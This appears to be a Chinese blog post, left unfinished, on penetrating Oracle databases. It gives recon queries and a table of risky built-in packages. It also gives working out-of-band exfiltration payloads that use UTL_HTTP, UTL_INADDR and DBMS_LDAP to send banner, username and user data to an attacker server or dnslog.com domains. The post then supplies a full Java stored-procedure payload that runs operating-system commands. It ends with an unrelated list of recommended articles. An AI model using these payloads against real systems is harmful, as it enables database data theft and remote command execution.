oracel数据库渗透思路

难点

  • 报错回显困难
  • 多盲注

判断数据库

  • 报错信息包含dual 或 ORA 类错误,基本就是 Oracle。
  • 报错注入(测试 '||'1' )是否可触发 concat 行为
  • 特定函数
    • SELECT banner FROM v$version - SELECT * FROM dual`

信息收集

查看所有用户
SELECT username FROM all_users;

查看当前用户能访问的表
SELECT table_name FROM all_tables;

普通账号常用:USER_TABLES
SELECT table_name FROM user_tables;

查看列字段
SELECT column_name FROM all_tab_columns WHERE table_name='USERS';

出当前用户能执行的全部 Package
SELECT * FROM USER_TAB_PRIVS WHERE PRIVILEGE = 'EXECUTE';

查看系统级授予 PUBLIC (所有用户都能执行)的可执行 Package
SELECT * FROM DBA_TAB_PRIVS WHERE GRANTEE = 'PUBLIC' AND PRIVILEGE='EXECUTE';

包名 功能 风险
UTL_INADDR DNS 请求 外带数据最隐蔽
UTL_HTTP HTTP 请求 外带数据
DBMS_LDAP LDAP 请求 外带数据
DBMS_SCHEDULER 任务计划 可系统命令执行(高权限)
DBMS_CRYPTO 加解密 破解业务密钥
DBMS_RANDOM 随机数 绕过业务限制、生成 token
JAVA 权限相关 执行 Java 代码 RCE
CREATE ANY LIBRARY 引用外部 so/dll RCE
DBMS_XDB / XDB_PROTOCOL WebDAV 某些版本可 RCE
UTL_FILE 文件操作 在特定位置读写文件

外带数据

UTL_HTTP

sql 复制代码
SELECT UTL_HTTP.REQUEST('http://你的服务器/' || (SELECT banner FROM v$version WHERE rownum=1)) FROM dual;

UTL_INADDR.DNS

sql 复制代码
SELECT UTL_INADDR.GET_HOST_ADDRESS('aaa'||(SELECT username FROM all_users WHERE rownum=1)||'.dnslog.com') FROM dual;

DBMS_LDAP

sql 复制代码
SELECT DBMS_LDAP.INIT((SELECT user FROM dual)||'.dnslog.com', 80) FROM dual;

文件读写

判断是否有创建目录(DIRECTORY)的权限,UTL_FILE 只能读写 directory object 指定路径。
SELECT * FROM USER_SYS_PRIVS WHERE PRIVILEGE LIKE '%DIRECTORY%';

查看当前用户可访问哪些目录对象,Oracle 读写文件不是任意路径,而是依赖 DIRECTORY 映射。
SELECT * FROM ALL_DIRECTORIES;

进一步查看

命令执行

当前用户拥有执行相关 package 的权限

payload

sql 复制代码
CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED "cmd" AS
import java.io.*;
public class cmd {
  public static String exec(String c) throws IOException {
    String s = null;
    StringBuilder sb = new StringBuilder();
    Process p = Runtime.getRuntime().exec(c);
    BufferedReader stdInput = new BufferedReader(new InputStreamReader(p.getInputStream()));
    while ((s = stdInput.readLine()) != null){ sb.append(s); }
    return sb.toString();
  }
};
/

CREATE OR REPLACE FUNCTION run_cmd(p_cmd VARCHAR2) RETURN VARCHAR2
AS LANGUAGE JAVA
NAME 'cmd.exec(java.lang.String) return java.lang.String';
/

SELECT run_cmd('whoami') FROM dual;

。。。。未完待补充

相关推荐
新中地GIS开发老师5 分钟前
地信职业百科④:GIS开发工程师
前端·数据库·gis·webgis·三维gis开发
云和恩墨13 分钟前
从“第二存储”到多智能体协作,云和恩墨充实数据基础设施产品矩阵
数据库
ClouGence20 分钟前
SAP HANA 到 Doris 数据迁移:4 种方案对比与迁移教程
数据库·后端·dba
霸道流氓气质21 分钟前
ApiPost 中配置自动获取 Token 并调用业务接口完整指南
java·服务器·数据库
我不想名字重复24 分钟前
redis缓存和数据库数据保持一致
数据库·redis·缓存
宇宙第一小趴菜44 分钟前
三、Oracle 核心原理
数据库·oracle
码出钞能力2 小时前
apache-shardingsphere-5.5.3自定义分片算法
数据库
兜有米啦2 小时前
数据库第二次作业
数据库
nVisual3 小时前
机柜PDU安装位置与空间建模方案
大数据·网络·数据库·信息可视化·数据中心基础设施管理
weixin_6683 小时前
Cursor-superpowers插件用法
数据库·人工智能